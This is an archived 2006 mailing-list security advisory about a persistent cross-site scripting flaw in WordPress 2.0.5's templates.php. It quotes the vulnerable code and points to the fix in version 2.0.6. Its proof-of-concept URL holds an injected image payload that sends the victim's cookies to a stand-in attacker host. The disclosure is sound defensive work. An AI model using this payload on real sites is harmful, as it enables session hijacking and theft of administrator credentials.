

[UNIX] WordPress Persistent XSS (templates.php)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-12/msg00054.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 27 Dec 2006 21:02:06 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

WordPress Persistent XSS (templates.php)

SUMMARY

<<http://wordpress.org/>> WordPress is "a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability". A vulnerability in WordPress's templates.php allows a user with access to the templates.php to insert arbitrary HTML and/or Javascript which can be then executed by other administrators.

DETAILS

Vulnerable Systems:

- * WordPress version 2.0.5 and prior

Immune Systems:

- * WordPress version 2.0.6

When editing files a shortcut is created titled recently accessed files . The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitized. Instead, it is passed to get_file_description(\$file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with / . We can get around this by using open IMG

[UNIX] WordPress Persistent XSS (templates.php)

tags; this works under FF and IE.

Vulnerable code in wp-admin/templates.php:

```
[line 22]$recounts = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recounts as $recent) :
echo "<li><a href='templates.php?file="
. wp_specialchars($recent, true) . "'>"
. get_file_description(basename($recent))
. "</a></li>";
```

Vulnerable function:

```
function get_file_description($file) {
global $wp_file_descriptions;

if (isset ($wp_file_descriptions[basename($file)])) {
return $wp_file_descriptions[basename($file)];
}
elseif (file_exists(ABSPATH.$file)) {
$template_data = implode(", file(ABSPATH.$file));
if (preg_match("|Template Name:(.*)|",
$template_data, $name))
return $name[1];
}
return basename($file);
}
```

Proof of concept:

```
https://blogsite/wp/wp-admin/templates.php?file=<img src="" onerror=javascript:document.location.href='http://evilhacker/capturecookie.php?'+document.cookie;>
```

Solution:

WordPress has fixed this for v2.0.6 and a patch has been released for v2.0.5, see: <<http://trac.wordpress.org/changeset/4665>>
<http://trac.wordpress.org/changeset/4665>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:david.kierznowski@xxxxxxxxxx>>
David Kierznowski.

The original article can be found at:

<<http://michaeldaw.org/md-hacks/wordpress-persistent-xss/>>
<http://michaeldaw.org/md-hacks/wordpress-persistent-xss/>

[UNIX] WordPress Persistent XSS (templates.php)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.